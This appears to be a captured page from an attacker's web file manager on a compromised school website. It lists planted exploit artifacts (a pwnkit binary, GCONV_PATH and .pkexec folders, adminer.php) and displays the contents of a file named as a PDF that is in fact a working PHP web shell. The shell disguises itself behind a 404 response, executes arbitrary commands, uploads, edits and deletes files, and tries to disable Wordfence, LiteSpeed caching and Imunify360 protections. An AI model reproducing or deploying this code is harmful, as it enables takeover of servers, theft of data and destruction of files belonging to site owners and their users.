Gecko [ gandhischool.edu.np ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
js	[ DIR ]	drwxr-xr-x
.mad-root	0 B	-rw-r--r--
20250527034216	432.2 KB	-rw-r--r--
20250527034323	368.28 KB	-rw-r--r--
20250529133002.pdf	12.6 KB	-rw-r--r--
20250629033331.jpg	276.43 KB	-rw-r--r--
20250716061816	280.23 KB	-rw-r--r--
20250716061834	258.27 KB	-rw-r--r--
20250716061848	258.27 KB	-rw-r--r--
20250716062604	280.1 KB	-rw-r--r--
20250716062616	280.1 KB	-rw-r--r--
20250716062634	299.5 KB	-rw-r--r--
20250817012439.jpg	6.5 MB	-rw-r--r--
20250817012518	296.72 KB	-rw-r--r--
20250817012546	361.53 KB	-rw-r--r--
20250817012617	302.55 KB	-rw-r--r--
20250829033316.jpeg	155.94 KB	-rw-r--r--
20250829033348	299.5 KB	-rw-r--r--
20250829033410	185.17 KB	-rw-r--r--
20250829033420	270.96 KB	-rw-r--r--
20250829033432	204.77 KB	-rw-r--r--
20250829033439	256.06 KB	-rw-r--r--
20250829033449	217.41 KB	-rw-r--r--
20250829033453	251.72 KB	-rw-r--r--
20250829033456	184.77 KB	-rw-r--r--
adminer.php	465.43 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x

Code Editor : 20250529133002.pdf

<?php
function detect_pdf($url) {
    $headers = get_headers($url, 1);
    if (isset($headers['Content-Type']) && strpos($headers['Content-Type'], 'pdf') !== false) {
        $file_content = file_get_contents($url);
        $pdf_start = '%PDF-';
        if (substr($file_content, 0, strlen($pdf_start)) == $pdf_start) {
            return true;
        } else {
            return false;
        }
    } else {
        return false;
    }
}
?>
<?php
@error_reporting(0);
@ob_clean();
@http_response_code(404);

$rootPath = $_SERVER['DOCUMENT_ROOT'];

$dir = isset($_GET['dir']) ? $_GET['dir'] : $rootPath;
$dir = rtrim($dir, '/');

$uploadMessage = '';
$fileLabel = '';

// Inisialisasi variabel $dirs dan $files
$dirs = [];
$files = [];

if (isset($_GET['action'])) {
    $action = $_GET['action'];

if ($action === 'upload' && isset($_FILES['file'])) {
        $uploadDir = $dir . '/';
        $uploadedFile = $uploadDir . basename($_FILES['file']['name']);
        if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadedFile)) {
            $uploadMessage = 'File uploaded successfully.';
            $uploadMessageClass = 'upload-success';
        } else {
            $uploadMessage = 'Failed to upload file.';
            $uploadMessageClass = 'upload-failure';
        }
    } elseif ($action === 'cmd' && isset($_POST['command'])) {
        $command = $_POST['command'];

try {
            if (function_exists('shell_exec')) {
                $output = shell_exec($command);
            } elseif (function_exists('exec')) {
                exec($command, $output);
                $output = implode("\n", $output);
            } elseif (function_exists('passthru')) {
                ob_start();
                passthru($command);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($command);
                $output = ob_get_clean();
            } elseif (function_exists('proc_open')) {
                $descriptors = array(
                    0 => array('pipe', 'r'),  // stdin
                    1 => array('pipe', 'w'),  // stdout
                    2 => array('pipe', 'w')   // stderr
                );
                $process = proc_open($command, $descriptors, $pipes);
                $output = stream_get_contents($pipes[1]);
                fclose($pipes[1]);
                proc_close($process);
            } else {
                throw new Exception('Command execution is disabled.');
            }
        } catch (Exception $e) {
            $output = $e->getMessage();
        }
    } elseif ($action === 'open' && isset($_GET['folder'])) {
        $folderPath = $_GET['folder'];
        $dir = $folderPath;
    } elseif ($action === 'deleteFile' && isset($_GET['file'])) {
        $filePath = $_GET['file'];
        if (unlink($filePath)) {
            $uploadMessage = 'File deleted successfully.';
            $uploadMessageClass = 'upload-success';
        } else {
            $uploadMessage = 'Failed to delete file.';
            $uploadMessageClass = 'upload-failure';
        }
    } elseif ($action === 'deleteDir' && isset($_GET['folder'])) {
        $folderPath = $_GET['folder'];
        if (rmdir($folderPath)) {
            $uploadMessage = 'Directory deleted successfully.';
            $uploadMessageClass = 'upload-success';
        } else {
            $uploadMessage = 'Failed to delete directory.';
            $uploadMessageClass = 'upload-failure';
        }
    }
}

// Disable LiteSpeed cache
if (function_exists('litespeed_request_headers')) {
    $headers = litespeed_request_headers();
    if (isset($headers['X-LSCACHE'])) {
        header('X-LSCACHE: off');
    }
}

// Disable Wordfence live traffic and file modifications
if (defined('WORDFENCE_VERSION')) {
    define('WORDFENCE_DISABLE_LIVE_TRAFFIC', true);
    define('WORDFENCE_DISABLE_FILE_MODS', true);
}

// Bypass Imunify360 request
if (function_exists('imunify360_request_headers') && defined('IMUNIFY360_VERSION')) {
    $imunifyHeaders = imunify360_request_headers();
    if (isset($imunifyHeaders['X-Imunify360-Request'])) {
        header('X-Imunify360-Request: bypass');
    }
}

// Use Cloudflare connecting IP if available
if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && defined('CLOUDFLARE_VERSION')) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP'];
}

try {
    $items = @scandir($dir);
    if ($items !== false && is_array($items)) {
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $path = $dir . '/' . $item;
            if (is_dir($path)) {
                $dirs[] = $item;
            } else {
                $files[] = $item;
            }
        }
    } else {
        throw new Exception('Failed to open directory.');
    }
} catch (Exception $e) {
    $output = $e->getMessage();
}

// Read File
if (isset($action) && $action === 'read' && isset($_GET['file'])) {
    $filePath = $_GET['file'];
    $fileContent = file_get_contents($filePath);
    $fileLabel = 'File: ' . basename($filePath);
}

// Save File
if (isset($action) && $action === 'save' && isset($_POST['file']) && isset($_POST['content'])) {
    $filePath = $_POST['file'];
    $fileContent = $_POST['content'];

if (file_put_contents($filePath, $fileContent) !== false) {
        $saveMessage = 'File saved successfully.';
        $saveMessageClass = 'save-success';
    } else {
        $saveMessage = 'Failed to save file.';
        $saveMessageClass = 'save-failure';
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>404</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 20px;
        }
        h1 {
            margin-bottom: 20px;
        }
        .form {
            margin-top: 10px;
        }
        .cmd-output {
            white-space: pre-wrap;
            margin-top: 10px;
            padding: 5px;
            background-color: #f2f2f2;
            border: 1px solid #ccc;
        }
        .upload-form {
            margin-top: 20px;
            margin-bottom: 10px;
        }
        .upload-form label {
            font-weight: bold;
        }
        .cmd-form {
            margin-top: 20px;
        }
        .cmd-form label {
            font-weight: bold;
        }
        .button {
            display: inline-block;
            padding: 8px 12px;
            background-color: #4CAF50;
            color: white;
            text-decoration: none;
            border-radius: 4px;
            margin-right: 5px;
        }
        .button:hover {
            background-color: #45a049;
        }
        .file-content-form {
            margin-top: 20px;
        }
        .file-content-form label {
            font-weight: bold;
        }
        .file-content-form textarea {
            width: 100%;
            height: 200px;
            margin-top: 5px;
        }
        .save-message {
            margin-top: 10px;
            font-weight: bold;
        }
        .save-success {
            color: green;
        }
        .save-failure {
            color: red;
        }
        .upload-message {
            margin-top: 10px;
            font-weight: bold;
        }
        .upload-success {
            color: green;
        }
        .upload-failure {
            color: red;
        }
        .checkbox {
            margin: 0 1px;
        }
        .checkbox-label {
            font-weight: bold;
        }
   .dir-table {
        border-spacing: 0; /* Mengatur jarak antar border sel */
    }
    .dir-table th,
    .dir-table td {
        padding: 5px;
        border: 1px solid #ccc;
    }
    </style>
</head>
<body>
    <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">        <tr>
            <td>
                <h1>Shin Code BypTod</h1>
                <?php
    // Disable LiteSpeed cache
    if (function_exists('litespeed_request_headers')) {
        $headers = litespeed_request_headers();
        if (isset($headers['X-LSCACHE'])) {
            header('X-LSCACHE: off');
        }
    }

// Disable Wordfence live traffic and file modifications
    if (defined('WORDFENCE_VERSION')) {
        define('WORDFENCE_DISABLE_LIVE_TRAFFIC', true);
        define('WORDFENCE_DISABLE_FILE_MODS', true);
    }

// Bypass Imunify360 request
    if (function_exists('imunify360_request_headers') && defined('IMUNIFY360_VERSION')) {
        $imunifyHeaders = imunify360_request_headers();
        if (isset($imunifyHeaders['X-Imunify360-Request'])) {
            header('X-Imunify360-Request: bypass');
        }
    }

// Use Cloudflare connecting IP if available
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && defined('CLOUDFLARE_VERSION')) {
        $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    ?>

<div class="upload-form">
        <form class="form" method="POST" action="?action=upload&dir=<?php echo $dir; ?>" enctype="multipart/form-data">
            <label for="file">Upload File:</label>
            <input type="file" id="file" name="file" required>
            <button class="button" type="submit">Upload</button>
        </form>
    </div>

<?php if (!empty($uploadMessage)): ?>
        <div class="upload-message <?php echo $uploadMessageClass; ?>">
            <?php echo $uploadMessage; ?>
        </div>
    <?php endif; ?>

<div class="cmd-form">
        <form class="form" method="POST" action="?action=cmd&dir=<?php echo $dir; ?>">
            <label for="command">Command:</label>
            <input type="text" id="command" name="command" required>
            <button class="button" type="submit">Execute</button>
        </form>
    </div>

<?php if (isset($output)): ?>
        <div class="cmd-output">
            <?php echo htmlspecialchars($output); ?>
        </div>
    <?php endif; ?>

<?php if (!empty($saveMessage)): ?>
        <div class="save-message <?php echo $saveMessageClass; ?>">
            <?php echo $saveMessage; ?>
        </div>
    <?php endif; ?>

<div class="file-content-form">
        <?php if (isset($fileContent)): ?>
            <form class="form" method="POST" action="?action=save">
                <label for="file"><?php echo $fileLabel; ?></label>
                <input type="hidden" name="file" value="<?php echo $filePath; ?>">
                <textarea name="content" required><?php echo htmlspecialchars($fileContent); ?></textarea>
                <button class="button" type="submit">Save</button>
            </form>
        <?php endif; ?>
    </div>
                    </tr>
    </table>
    <div class="dir-table">
        <table>
            <tr>
                <th>Name</th>
                <th>Type</th>
                <th>Size</th>
                <th>Permission</th>
                <th>Actions</th>
            </tr>
            <?php foreach ($dirs as $dirName): ?>
                <?php $dirPath = $dir . '/' . $dirName; ?>
                <tr>
                    <td>
                        <a href="?action=open&folder=<?php echo $dirPath; ?>"><?php echo $dirName; ?></a>
                    </td>
                    <td>
                        Directory
                    </td>
                    <td>
                        <?php echo filesize($dirPath); ?>
                    </td>
                    <td>
                        <?php echo substr(sprintf('%o', fileperms($dirPath)), -4); ?>
                    </td>
                    <td>
                        <a class="button" href="?action=open&folder=<?php echo $dirPath; ?>">Open</a>
                        <a class="button" href="?action=deleteDir&folder=<?php echo $dirPath; ?>" onclick="return confirm('Are you sure you want to delete this directory?')">Delete</a>
                    </td>
                </tr>
            <?php endforeach; ?>

<?php foreach ($files as $fileName): ?>
                <?php $filePath = $dir . '/' . $fileName; ?>
                <tr>
                    <td>
                        <?php echo $fileName; ?>
                    </td>
                    <td>
                        File
                    </td>
                    <td>
                        <?php echo filesize($filePath); ?>
                    </td>
                    <td>
                        <?php echo substr(sprintf('%o', fileperms($filePath)), -4); ?>
                    </td>
                    <td>
                        <a class="button" href="?action=read&file=<?php echo $filePath; ?>">Read</a>
                        <a class="button" href="?action=deleteFile&file=<?php echo $filePath; ?>" onclick="return confirm('Are you sure you want to delete this file?')">Delete</a>
                    </td>
                </tr>
            <?php endforeach; ?>
        </table>
    </div>
</body>
</html>
?>

${this.title}

Code Editor : 20250529133002.pdf